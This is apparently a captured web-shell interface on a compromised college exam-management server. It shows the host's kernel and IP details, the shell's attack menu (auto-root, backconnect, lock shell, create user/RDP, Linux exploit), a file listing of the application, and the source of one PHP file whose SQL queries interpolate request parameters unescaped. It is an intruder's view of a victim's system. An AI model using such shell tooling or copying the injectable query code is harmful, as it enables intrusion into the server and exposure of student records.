Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.21.21.29
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
college /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
cielist.php
[ DIR ]
drwxr-xr-x
system
[ DIR ]
drwxr-xr-x
CIEAttendanceNotEligible.php
3.28
KB
-rwxr-xr-x
CIEpendingList.php
2.96
KB
-rwxr-xr-x
Dispatch_ans_script_setup.php
5.84
KB
-rwxr-xr-x
Dispatch_ans_script_setup_qp.p...
5.18
KB
-rwxr-xr-x
DisplayPrintApplication_ru.php
65.63
KB
-rwxr-xr-x
ECHblk.php
14.02
KB
-rwxr-xr-x
ECHblk_15042021.php
11.68
KB
-rwxr-xr-x
FormulaEvaluate.php
14.15
KB
-rwxr-xr-x
MainPage.html
11.66
KB
-rwxr-xr-x
MarkEntry-Setup.php
30.56
KB
-rwxr-xr-x
MarkEntry-Setup_bf_gcg.php
22.89
KB
-rwxr-xr-x
SelectSubjType.php
3.05
KB
-rwxr-xr-x
SubjectType.php
3.64
KB
-rwxr-xr-x
TarkaFormatStyles.php
15.37
KB
-rwxr-xr-x
UpdateCollDet.php
2.04
KB
-rwxr-xr-x
absentAndMalReportPdf.php
8.25
KB
-rwxr-xr-x
absent_entry_setup.php
8.13
KB
-rwxr-xr-x
absent_entry_setupQp.php
10.93
KB
-rwxr-xr-x
ack_adm_application.php
66.01
KB
-rwxr-xr-x
ack_adm_application.php.orig
58.73
KB
-rwxr-xr-x
ack_admentry_application.php
59.63
KB
-rwxr-xr-x
ack_exam_app_form.php
17.74
KB
-rwxr-xr-x
ack_exam_app_form_bulk.php
12.71
KB
-rwxr-xr-x
ack_report.php
3.66
KB
-rwxr-xr-x
ack_rv_rt_application.php
9.34
KB
-rwxr-xr-x
actClass.php
6.21
KB
-rwxr-xr-x
adm.php
15.4
KB
-rwxr-xr-x
adm_delete_data.php
5.58
KB
-rwxr-xr-x
admapprove.php
10.33
KB
-rwxr-xr-x
admapprove_kus.php
9.28
KB
-rwxr-xr-x
admissionHallTicket.php
1.8
KB
-rwxr-xr-x
admission_entry_status.php
2.73
KB
-rwxr-xr-x
admissionapplist.php
5.06
KB
-rwxr-xr-x
admlist.php
13.87
KB
-rwxr-xr-x
admstuddate.php
6.06
KB
-rwxr-xr-x
admuploadexsheet.php
20.48
KB
-rwxr-xr-x
affliation_fee.php
5.04
KB
-rwxr-xr-x
approve.php
41.53
KB
-rwxr-xr-x
approve_kus.php
24.12
KB
-rwxr-xr-x
attCisshortList_sjbit.php
11.91
KB
-rwxr-xr-x
attEntTeachWise.php
2.07
KB
-rwxr-xr-x
attTeachSum.php
3.63
KB
-rwxr-xr-x
attendEntry.php
3.89
KB
-rwxr-xr-x
attendance.php
16
KB
-rwxr-xr-x
attendanceReportForm.php
5.81
KB
-rwxr-xr-x
attendance_freez.php
8.51
KB
-rwxr-xr-x
attendance_freez_mth.php
8.24
KB
-rwxr-xr-x
attendanceentrydaywise.php
11.36
KB
-rwxr-xr-x
attendenceshort.php
7.5
KB
-rwxr-xr-x
attshort.php
6.29
KB
-rwxr-xr-x
atttechblp.php
2.48
KB
-rwxr-xr-x
auto-complete.php
4.89
KB
-rwxr-xr-x
backup.php
4.12
KB
-rwxr-xr-x
backup_1.php
7.73
KB
-rwxr-xr-x
backup_restore.php
8.14
KB
-rwxr-xr-x
backupandrestore.php
10.18
KB
-rwxr-xr-x
backupold.php
2.73
KB
-rwxr-xr-x
bill_details.php
14.21
KB
-rwxr-xr-x
board.php
4
KB
-rwxr-xr-x
bundle_dispatch.php
3.2
KB
-rwxr-xr-x
bundle_rec_ack.php
4.67
KB
-rwxr-xr-x
cManualMailer.php
2.54
KB
-rwxr-xr-x
caccesscontext.php
1.28
KB
-rwxr-xr-x
candidate-entry.php
50.68
KB
-rwxr-xr-x
cappcontext.php
2.71
KB
-rwxr-xr-x
challan_entries.php
15.05
KB
-rwxr-xr-x
challan_preparation.php
11.29
KB
-rwxr-xr-x
changeDegree.php
1.56
KB
-rwxr-xr-x
changeMobile.php
2.13
KB
-rwxr-xr-x
cmailer.php
6.83
KB
-rwxr-xr-x
cntDeclaration.php
4.23
KB
-rwxr-xr-x
coll_exam_app_form.php
3.29
KB
-rwxr-xr-x
collbankdet.php
1.9
KB
-rwxr-xr-x
colldesp_ack.php
4.03
KB
-rwxr-xr-x
college.php
5.39
KB
-rwxr-xr-x
college_approve.php
5.59
KB
-rwxr-xr-x
college_degree_status.php
5.65
KB
-rwxr-xr-x
collegewisedownload.php
9.46
KB
-rwxr-xr-x
colltransfer.php
6.83
KB
-rwxr-xr-x
connect.php
2.58
KB
-rwxr-xr-x
convdet.php
8.02
KB
-rwxr-xr-x
convo.php
8.14
KB
-rwxr-xr-x
copomarksentry.php
10.46
KB
-rwxr-xr-x
copomarksexternal.php
22.46
KB
-rwxr-xr-x
coporeport.php
4.56
KB
-rwxr-xr-x
coutput.php
1.84
KB
-rwxr-xr-x
createAdmission.php
14.75
KB
-rwxr-xr-x
createUser.php
6.93
KB
-rwxr-xr-x
create_all_grid_files.php
8.57
KB
-rwxr-xr-x
create_all_grid_group_files.ph...
9.94
KB
-rwxr-xr-x
create_all_popup_files.php
5.93
KB
-rwxr-xr-x
create_all_schema_files.php
4.31
KB
-rwxr-xr-x
create_all_views.php
16.52
KB
-rwxr-xr-x
create_html_files.php
52.03
KB
-rwxr-xr-x
create_html_files_without_tab....
44.49
KB
-rwxr-xr-x
create_module_meta_columns.php
5.16
KB
-rwxr-xr-x
createattclass.php
6.87
KB
-rwxr-xr-x
createclassattend.php
19.79
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
548
B
-rwxr-xr-x
cuser.php
3.53
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
datadictionary.php
3.96
KB
-rwxr-xr-x
daterange.php
6.67
KB
-rwxr-xr-x
degree.php
8.28
KB
-rwxr-xr-x
degstudymat.php
6.51
KB
-rwxr-xr-x
degstudymatdet.php
6.27
KB
-rwxr-xr-x
delegate.php
3.29
KB
-rwxr-xr-x
display_details_in_grid.php
107.06
KB
-rwxr-xr-x
display_details_in_grid_bf_231...
111.76
KB
-rwxr-xr-x
display_details_in_grid_custom...
2.72
KB
-rwxr-xr-x
display_details_in_grid_studta...
96.56
KB
-rwxr-xr-x
display_details_in_grid_withde...
97.45
KB
-rwxr-xr-x
doc_verify.php
7.52
KB
-rwxr-xr-x
download_misc_files.php
5.19
KB
-rwxr-xr-x
download_misc_files_bcu_comm.p...
4.19
KB
-rwxr-xr-x
download_photo.php
35.98
KB
-rwxr-xr-x
download_photo_pgadm_photos.ph...
4.73
KB
-rwxr-xr-x
download_upload.php
3.86
KB
-rwxr-xr-x
dynamicmastersdetails.php
117.45
KB
-rwxr-xr-x
dynamicmastersdetails_one.php
119.36
KB
-rwxr-xr-x
editstddet.php
4.61
KB
-rwxr-xr-x
entregupd.php
1.91
KB
-rwxr-xr-x
entryexitevents.php
3.09
KB
-rwxr-xr-x
error_log.php
749
B
-rwxr-xr-x
examappfeereport.php
2.12
KB
-rwxr-xr-x
execute_query.php
2.5
KB
-rwxr-xr-x
export_import_setup.php
7.62
KB
-rwxr-xr-x
export_import_utility.php
2.67
KB
-rwxr-xr-x
feepaidreports.php
2.42
KB
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.php
6.64
KB
-rwxr-xr-x
freeze_module_at_admin_college...
10.48
KB
-rwxr-xr-x
freeze_module_at_admin_college...
9.35
KB
-rwxr-xr-x
freeze_module_at_university_co...
7.45
KB
-rwxr-xr-x
freezeiaprici.php
10.87
KB
-rwxr-xr-x
general_report_format.php
11
KB
-rwxr-xr-x
getAutoCompleteFromFrameWork.p...
2.97
KB
-rwxr-xr-x
getDegreeAndSem.php
4.28
KB
-rwxr-xr-x
getMessages.php
11.39
KB
-rwxr-xr-x
getdata.php
38.11
KB
-rwxr-xr-x
getdataold.php
29.62
KB
-rwxr-xr-x
getfeeinformation.php
7.26
KB
-rwxr-xr-x
getmoduledetails.php
23.77
KB
-rwxr-xr-x
getnumword.php
7.45
KB
-rwxr-xr-x
getreportdetails.php
3.21
KB
-rwxr-xr-x
getreportfilefordisplay.php
1.37
KB
-rwxr-xr-x
getsearchcondition.php
1.3
KB
-rwxr-xr-x
ggridmodel.php
9.27
KB
-rwxr-xr-x
golden_palm_payslip.php
12.48
KB
-rwxr-xr-x
helptext.php
5.38
KB
-rwxr-xr-x
htblk.php
6.13
KB
-rwxr-xr-x
iamarks.php
7.63
KB
-rwxr-xr-x
iasectionwise.php
30.09
KB
-rwxr-xr-x
iasectionwisenew.php
34.58
KB
-rwxr-xr-x
identify_transactions.php
6.4
KB
-rwxr-xr-x
import_marks.php
4.11
KB
-rwxr-xr-x
json.php
34.52
KB
-rwxr-xr-x
kusphdadm.php
7.25
KB
-rwxr-xr-x
lateralentry.php
2.39
KB
-rwxr-xr-x
login.php
8.81
KB
-rwxr-xr-x
login_old.php
3.15
KB
-rwxr-xr-x
marksEntryExt.php
13.1
KB
-rwxr-xr-x
marksentryquestionwise.php
41.93
KB
-rwxr-xr-x
message_board.php
4.67
KB
-rwxr-xr-x
messagetext.php
1.68
KB
-rwxr-xr-x
module_setup.php
2.48
KB
-rwxr-xr-x
mregistry.php
139.86
KB
-rwxr-xr-x
mregistry18.06.2021.php
99.46
KB
-rwxr-xr-x
mrn_approval.php
9
KB
-rwxr-xr-x
newuser.php
2.69
KB
-rwxr-xr-x
oldqnpaper.php
4.44
KB
-rwxr-xr-x
pendingcie.php
4.17
KB
-rwxr-xr-x
pmarks.php
5.67
KB
-rwxr-xr-x
post.php
6
KB
-rwxr-xr-x
practicalMarks.php
8.65
KB
-rwxr-xr-x
princiOTPsubjectfreeze.php
3.05
KB
-rwxr-xr-x
principalFreeze.php
6.92
KB
-rwxr-xr-x
principalfreezingsubject.php
1.81
KB
-rwxr-xr-x
printApp_ru.php
1.12
KB
-rwxr-xr-x
qnwiseMarksStats.php
5.95
KB
-rwxr-xr-x
qpSummaryReport.php
1.03
KB
-rwxr-xr-x
receive_rv_rt_application.php
8.33
KB
-rwxr-xr-x
receive_teach_trans.php
2.49
KB
-rwxr-xr-x
receive_teach_transfer.js
5.06
KB
-rwxr-xr-x
report_bulk_applications.php
19.42
KB
-rwxr-xr-x
report_iamarks_pending.php
12.04
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
11.84
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
22.93
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
8.54
KB
-rwxr-xr-x
report_setup.php
25.12
KB
-rwxr-xr-x
report_tool.php
73.03
KB
-rwxr-xr-x
resetPasswordUser.php
2.69
KB
-rwxr-xr-x
result.php
5.06
KB
-rwxr-xr-x
revaluation.php
16.66
KB
-rwxr-xr-x
revaluation_oldtype.php
8.45
KB
-rwxr-xr-x
revaluation_withdegree.php
16.77
KB
-rwxr-xr-x
room_allotment.php
8.75
KB
-rwxr-xr-x
room_allotment_datewise.php
25.85
KB
-rwxr-xr-x
room_allotment_datewise_bf_rcu...
16.97
KB
-rwxr-xr-x
room_allotment_datewise_stph.p...
21.49
KB
-rwxr-xr-x
room_allotment_shifiting.php
3.09
KB
-rwxr-xr-x
roomcreationnew.php
2.81
KB
-rwxr-xr-x
roomdeclaration.php
2.2
KB
-rwxr-xr-x
roomdeclaration_stph.php
2.51
KB
-rwxr-xr-x
rvdates.php
6.46
KB
-rwxr-xr-x
rvrt_ack_exam_app.php
5.8
KB
-rwxr-xr-x
rvrt_report.php
1.92
KB
-rwxr-xr-x
saveclsdets.php
1.91
KB
-rwxr-xr-x
savesspdetails.php
9.93
KB
-rwxr-xr-x
sectionwisepermission.php
5.62
KB
-rwxr-xr-x
sendLoginPassword.php
3.09
KB
-rwxr-xr-x
sendsmsapi.php
814
B
-rwxr-xr-x
sendusrandpws.php
1002
B
-rwxr-xr-x
serchbygrid.php
822
B
-rwxr-xr-x
shortLists.php
1.65
KB
-rwxr-xr-x
std_register_det.php
3.56
KB
-rwxr-xr-x
stringspliter.php
693
B
-rwxr-xr-x
studSubIdent.php
11.23
KB
-rwxr-xr-x
stud_name_doc_upload.php
1.24
KB
-rwxr-xr-x
stud_wise_report.php
3.02
KB
-rwxr-xr-x
student.php
58.35
KB
-rwxr-xr-x
student_entry.php
61.38
KB
-rwxr-xr-x
student_entry_kswu.php
51.23
KB
-rwxr-xr-x
student_entry_nitte.php
87.54
KB
-rwxr-xr-x
student_entry_rur.php
74.42
KB
-rwxr-xr-x
student_entry_vku.php
66.58
KB
-rwxr-xr-x
student_rur.php
64.37
KB
-rwxr-xr-x
student_vku.php
57.95
KB
-rwxr-xr-x
studentportal_remove.php
6.18
KB
-rwxr-xr-x
studentreport.php
14.53
KB
-rwxr-xr-x
studnamecorr.php
6.69
KB
-rwxr-xr-x
subIAMarksEntry.php
11.14
KB
-rwxr-xr-x
subblock.php
6.12
KB
-rwxr-xr-x
subdet.php
9.61
KB
-rwxr-xr-x
subjReg.php
8.75
KB
-rwxr-xr-x
subjectList_display.php
11.7
KB
-rwxr-xr-x
subject_freshExam.php
32.99
KB
-rwxr-xr-x
subject_freshExam_rcub.php
28.33
KB
-rwxr-xr-x
subjectfreez.php
13.02
KB
-rwxr-xr-x
subjectwise_freezing_sectionwi...
12.43
KB
-rwxr-xr-x
subshort.php
8.57
KB
-rwxr-xr-x
system_utility.php
1.84
KB
-rwxr-xr-x
systemsetup.php
80.41
KB
-rwxr-xr-x
teachFreeze.php
8.09
KB
-rwxr-xr-x
teachOficerEntry.php
11.46
KB
-rwxr-xr-x
teachers.php
19.86
KB
-rwxr-xr-x
time_table_degreewise.php
5
KB
-rwxr-xr-x
transaction-series.php
4.86
KB
-rwxr-xr-x
updateSection.php
5.11
KB
-rwxr-xr-x
update_defined_flag.php
3.41
KB
-rwxr-xr-x
updatecopo.php
9.34
KB
-rwxr-xr-x
updatedegreegroup.php
3.21
KB
-rwxr-xr-x
updateexamcnt.php
2.92
KB
-rwxr-xr-x
updatefreshexam.php
1.33
KB
-rwxr-xr-x
updatestudentsem.php
1.65
KB
-rwxr-xr-x
updatetimetable.php
9.14
KB
-rwxr-xr-x
updateuvcms.php
2.37
KB
-rwxr-xr-x
updmarks.php
16.28
KB
-rwxr-xr-x
upload_doc_demo.php
84
B
-rwxr-xr-x
upload_studentPhoto.php
10.81
KB
-rwxr-xr-x
upload_studentPhoto_before_dow...
8.02
KB
-rwxr-xr-x
uploadcopo.php
7.89
KB
-rwxr-xr-x
uploadmoduledetails.php
39.65
KB
-rwxr-xr-x
uploadteacherattendance.php
5.23
KB
-rwxr-xr-x
userpasswordreset.php
754
B
-rwxr-xr-x
usersetup.php
24.23
KB
-rwxr-xr-x
usersetupNew.php
8.77
KB
-rwxr-xr-x
usersubj_identification.php
5.08
KB
-rwxr-xr-x
viewNotifications.php
1.21
KB
-rwxr-xr-x
view_ledger.php
3.44
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : iasectionwise.php
<?php function loadIAteachcode($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $collcode = $_SESSION['collcode']; $usertype = $_SESSION['user_type']; $usr = $_SESSION['usr']; $cnd = ''; //var_dump($usertype); if(strtolower($usertype) == 'user') { $cnd = "and m.fteachcode = '{$usr}'"; } $query = "select distinct ifnull(at.fteachcode,'') as fteachcode,ifnull(m.FTEACHNAME,'') as fteachname from attclass at inner join masteach m on at.fteachcode = m.fteachcode where at.fcollcode = '{$collcode}' {$cnd} order by at.fteachcode"; $result = $aobj_context->mobj_db->GetAll($query); if($result) { echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); } else { $data['msg'] = 'Faile to load'; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); } } function getIAclassnames($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $collcode = $_SESSION['collcode']; $techcode = trim($aobj_context->mobj_data["techcode"]); $query = "select ifnull(fclassname,'') as fclassname, ifnull(fclassid,'') as fclassid from attclass where fteachcode = '{$techcode}' and fcollcode = '{$collcode}' and ifnull(fdeleted,'') <> 'T'"; $result = $aobj_context->mobj_db->GetAll($query); if($result) { echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); } else { $data['msg'] = 'Faile to load'; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); } } function getDegSemSubDet($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $collcode = $_SESSION['collcode']; $techcode = trim($aobj_context->mobj_data["techcode"]); $classid = trim($aobj_context->mobj_data["classid"]); $query = "select a.fdegree,d.fdescpn,a.fexamno,d.fexamname,a.fsubcode,s.fsubname from attendsum a inner join degree d on a.fdegree = d.fdegree and a.fexamno = d.fexamno inner join subject s on a.fdegree = s.fdegree and a.fexamno = s.fexamno and a.fsubcode = s.fcsubcode where a.fteachcode = '{$techcode}' and fclassid = '{$classid}'"; $res = $aobj_context->mobj_db->GetRow($query); //var_dump($query); $fdegree = $res['fdegree']; $fdescpn = $res['fdescpn']; $fexamname = $res['fexamname']; $fexamno = $res['fexamno']; $fsubcode = $res['fsubcode']; $fsubname = $res['fsubname']; $arry['fdegree'] = $fdegree; $arry['fdescpn'] = $fdescpn; $arry['fexamname'] = $fexamname; $arry['fexamno'] = $fexamno; $arry['fsubcode'] = $fsubcode; $arry['fsubname'] = $fsubname; $query = "select s.fcsubcode as fsubcode,s.FSSUBNAME as subname from attendsum a inner join degree d on a.fdegree = d.fdegree and a.fexamno = d.fexamno inner join subject s on a.fdegree = s.fdegree and a.fexamno = s.fexamno and left(a.fsubcode,4) = s.fsubcode where a.fteachcode = '{$techcode}' and ifnull(s.FRETAIN,'') = 'T' and ifnull(s.FINTASS,'') = 'T' and fclassid = '{$classid}' group by s.fcsubcode"; //var_dump($query); $result = $aobj_context->mobj_db->GetAll($query); if($result) { $arry['subelement'] = $result; echo $aobj_context->mobj_output->ToJSONEnvelope($arry,0,"success"); } else { $data['msg'] = 'Failed to load'; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); } } function viewIASubclass($aobj_context) { session_start(); $collcode=$_SESSION['collcode']; $techcode = $aobj_context->mobj_data["techcode"]; $classid = $aobj_context->mobj_data["classid"]; $subcode = $aobj_context->mobj_data["subelement"]; $cnd = "and stu.fsection = '{$section}'"; $query = "select * from collexam where fcollcode = '{$collcode}' and fdegree = '{$degree}' and fexamno = '{$exam}' and DATE_FORMAT(NOW(),'%Y-%m-%d') between DATE_FORMAT(collexam.fiafrom,'%Y-%m-%d') AND DATE_FORMAT(collexam.fiato,'%Y-%m-%d')"; $res3=$aobj_context->mobj_db->GetAll($query); $res3 = true; if($section == 'All') { $cnd = ""; } $query = "select * from control"; $res9=$aobj_context->mobj_db->GetRow($query); $FREGROLL = $res9['FREGROLL']; $query1="select stu.FREGNO, stu.FNAME, group_concat( distinct concat(mak.FSUBCODE,'_',if(IFNULL(mak.FMARKS, '-1') = '-2','AB',IFNULL(mak.FMARKS, '-1') ),'_',IFNULL(mak.FPRESENT, ''),'_',sub.FVALMAX) order by mak.FSUBCODE) as sublist FROM student stu inner join marks mak ON stu.fdegree = mak.fdegree and stu.FREGNO=mak.FREGNO and mak.FCOLLCODE='{$collcode}' inner join subject sub on sub.FcSUBCODE = mak.FSUBCODE inner join degree d on d.FDEGREE =mak.FDEGREE and d.Fexamno=mak.Fexamno and d.FMEYEAR=mak.FYEAR and d.FMEEXAMTYP=mak.FEXAMTYPE inner join attendsum a on sub.fdegree = a.fdegree and a.fexamno = sub.fexamno and left(a.fsubcode,4) = sub.fsubcode and mak.fdegree = a.fdegree and mak.fexamno = a.fexamno and left(a.fsubcode,4) = left(mak.fsubcode,4) WHERE stu.FREGNO != '' and fintass = 'T' and a.fteachcode = '{$techcode}' and a.fclassid = '{$classid}' and sub.fcsubcode = '{$subcode}' group by stu.FREGNO order by stu.fname,stu.FREGNO"; //var_dump($query1); $results1=$aobj_context->mobj_db->GetAll($query1); $query = "select distinct fcsubcode, fssubname, FVALMAX from subject s inner join attendsum a on s.fdegree = a.fdegree and a.fexamno = s.fexamno and left(a.fsubcode,4) = s.fsubcode where a.fteachcode = '{$techcode}' and ifnull(s.FRETAIN,'') = 'T' and ifnull(s.FINTASS,'') = 'T' and a.fclassid = '{$classid}' and s.fcsubcode = '{$subcode}' order by fcsubcode"; //var_dump($query1); $res=$aobj_context->mobj_db->GetAll($query); $id = 4+count($res); //var_dump($query); $e_data.="<table width='95%' id = 'showteachsub' cellspacing='0' class='tr_ventor_row' cellpadding='0' border='0' >"; $e_data.="<th align='left' colspan='{$id}' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper' style='font-size:12px; padding-left:6px; height:24px;'>Marks List</th>"; $e_data.="<tr class='ui-state-default ui-jqgrid-hdiv'>"; $e_data.="<td style='padding:2px; width:20px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Sl.<br>No.</center></td>"; $e_data.="<td style='padding:2px; width:50px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>".$FREGROLL."</center></td>"; $e_data.="<td style='padding:2px; width:140px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Student Name</center></td>"; foreach($res as $value) { $e_data.="<td style='padding:2px; width:30px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>{$value['fssubname']} <br> Max. M.: {$value['FVALMAX']}</center></td>"; } $e_data.="</tr>"; $k=1; $border_bottom="border-bottom:1px solid #C5DBEC;"; if($res3) { foreach($results1 as $value) { $e_data.="<tr class='ui-widget-content jqgrow'>"; $e_data.="<td tabindex=-1 align='center' style='{$border_bottom}; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; padding:2px;'>{$k}</td>"; $e_data.="<td tabindex=-1 align='center' style='{$border_bottom}; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; padding:2px;'> <input tabindex=-1 {$inp_class} type=text name='Regno' style='width:80px;border:none;' readonly id='reg_{$value[FREGNO]}' value='{$value[FREGNO]}'> </td>"; $e_data.="<td tabindex=-1 align='left' style='{$border_bottom};border-right:1px solid #C5DBEC; padding:2px;' id='mes_std_name_{$value[FREGNO]}' > {$value[FNAME]} </td>"; $sublist = $value['sublist']; $subdet = explode(",",$sublist); $a = 1; foreach($subdet as $val) { $marks = explode("_",$val); $regno = $value['FREGNO']; $index = $k.$a; $e_data.="<td align='center' style='{$border_bottom};border-right:1px solid #C5DBEC; padding:2px;'> <input type='text' tabindex={$a} style='width:30px;{$border}' id='mes_marks_{$marks[0]}_{$value[FREGNO]}' class='ElementCount' maxlength='2' onchange = 'getupdate(this.id)' onblur = 'getValidateMarks(\"{$marks[3]}\",\"{$regno}\",\"{$marks[0]}\")' value='{$marks[1]}' > <input type=hidden style='width:10px;{$border}' id='hidden_{$marks[0]}_{$value[FREGNO]}' value='A'> </td>"; $a++; } $k++; $e_data.="</tr>"; } }else { $e_data.="<tr class='ui-widget-content jqgrow'>"; $e_data.="<td colspan='{$id}' align='center' style='{$border_bottom}; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; padding:2px;'>Dates are not enabled contact admin</td>"; $e_data.="</tr>"; } $arr['tabledata'] = $e_data; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); } function viewIACombSubclass($aobj_context) { session_start(); $collcode=$_SESSION['collcode']; $techcode = $aobj_context->mobj_data["techcode"]; $classid = $aobj_context->mobj_data["classid"]; //$subcode = $aobj_context->mobj_data["subelement"]; $cnd = "and stu.fsection = '{$section}'"; $query = "select * from collexam where fcollcode = '{$collcode}' and fdegree = '{$degree}' and fexamno = '{$exam}' and DATE_FORMAT(NOW(),'%Y-%m-%d') between DATE_FORMAT(collexam.fiafrom,'%Y-%m-%d') AND DATE_FORMAT(collexam.fiato,'%Y-%m-%d')"; $res3=$aobj_context->mobj_db->GetAll($query); $res3 = true; if($section == 'All') { $cnd = ""; } $query = "select * from control"; $res9=$aobj_context->mobj_db->GetRow($query); $FREGROLL = $res9['FREGROLL']; $query1="select stu.FREGNO, stu.FNAME, group_concat( distinct concat(mak.FSUBCODE,'_',if(IFNULL(mak.FMARKS, '-1') = '-2','AB',IFNULL(mak.FMARKS, '-1') ),'_',IFNULL(mak.FPRESENT, ''),'_',sub.FVALMAX) order by mak.FSUBCODE) as sublist FROM student stu inner join marks mak ON stu.fdegree = mak.fdegree and stu.FREGNO=mak.FREGNO and mak.FCOLLCODE='{$collcode}' inner join subject sub on sub.FcSUBCODE = mak.FSUBCODE inner join degree d on d.FDEGREE =mak.FDEGREE and d.Fexamno=mak.Fexamno and d.FMEYEAR=mak.FYEAR and d.FMEEXAMTYP=mak.FEXAMTYPE inner join attendsum a on sub.fdegree = a.fdegree and a.fexamno = sub.fexamno and left(a.fsubcode,4) = sub.fsubcode and mak.fdegree = a.fdegree and mak.fexamno = a.fexamno and left(a.fsubcode,4) = left(mak.fsubcode,4) WHERE stu.FREGNO != '' and fintass = 'T' and a.fteachcode = '{$techcode}' and a.fclassid = '{$classid}' group by stu.FREGNO order by stu.fname,stu.FREGNO"; //var_dump($query1); $results1=$aobj_context->mobj_db->GetAll($query1); $query = "select distinct fcsubcode, fssubname, FVALMAX from subject s inner join attendsum a on s.fdegree = a.fdegree and a.fexamno = s.fexamno and left(a.fsubcode,4) = s.fsubcode where a.fteachcode = '{$techcode}' and ifnull(s.FRETAIN,'') = 'T' and ifnull(s.FINTASS,'') = 'T' and a.fclassid = '{$classid}' order by fcsubcode"; //var_dump($query1); $res=$aobj_context->mobj_db->GetAll($query); $id = 5+count($res); //var_dump($query); $e_data.="<table width='95%' id = 'showteachsub' cellspacing='0' class='tr_ventor_row' cellpadding='0' border='0' >"; $e_data.="<th align='left' colspan='{$id}' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper' style='font-size:12px; padding-left:6px; height:24px;'>Marks List</th>"; $e_data.="<tr class='ui-state-default ui-jqgrid-hdiv'>"; $e_data.="<td style='padding:2px; width:20px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Sl.<br>No.</center></td>"; $e_data.="<td style='padding:2px; width:50px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>".$FREGROLL."</center></td>"; $e_data.="<td style='padding:2px; width:140px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Student Name</center></td>"; $ressub = ""; foreach($res as $value) { $e_data.="<td style='padding:2px; width:30px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>{$value['fssubname']} <br> Max. M.: {$value['FVALMAX']}</center></td>"; $ressub .="*".$value['fcsubcode']; } $e_data.="<td style='padding:2px; width:30px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Total <br> Max. M.: 50</center></td>"; $e_data.="</tr>"; $k=1; $border_bottom="border-bottom:1px solid #C5DBEC;"; if($res3) { foreach($results1 as $value) { $e_data.="<tr class='ui-widget-content jqgrow'>"; $e_data.="<td tabindex=-1 align='center' style='{$border_bottom}; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; padding:2px;'>{$k}</td>"; $e_data.="<td tabindex=-1 align='center' style='{$border_bottom}; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; padding:2px;'> <input tabindex=-1 {$inp_class} type=text name='Regno' style='width:80px;border:none;' readonly id='reg_{$value[FREGNO]}' value='{$value[FREGNO]}'> </td>"; $e_data.="<td tabindex=-1 align='left' style='{$border_bottom};border-right:1px solid #C5DBEC; padding:2px;' id='mes_std_name_{$value[FREGNO]}' > {$value[FNAME]} </td>"; $sublist = $value['sublist']; $subdet = explode(",",$sublist); $a = 1; $tot = ''; foreach($subdet as $val) { $marks = explode("_",$val); $regno = $value['FREGNO']; $index = $k.$a; $e_data.="<td align='center' style='{$border_bottom};border-right:1px solid #C5DBEC; padding:2px;'> <input type='text' tabindex={$a} style='width:30px;text-align: center;{$border};' id='mes_marks_{$marks[0]}_{$value[FREGNO]}' class='ElementCount' maxlength='2' onchange = 'getupdate(this.id)' onkeyup = 'addtottal(\"{$ressub}\",\"{$regno}\")' onblur = 'getValidateMarks(\"{$marks[3]}\",\"{$regno}\",\"{$marks[0]}\")' value='{$marks[1]}' > <input type=hidden style='width:10px;{$border}' id='hidden_{$marks[0]}_{$value[FREGNO]}' value='A'> </td>"; $a++; if($marks[1] == '-1') $marks = 0; else if($marks[1] == 'AB') $marks = 0; else $marks = $marks[1]; $tot = $tot+$marks; } $e_data.="<td align='center' style='{$border_bottom}; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; padding:2px;'> <input type='text' tabindex=-1 style='width:30px;text-align: center;{$border}' id='mes_marks_tot_{$value[FREGNO]}' class='ElementCount' 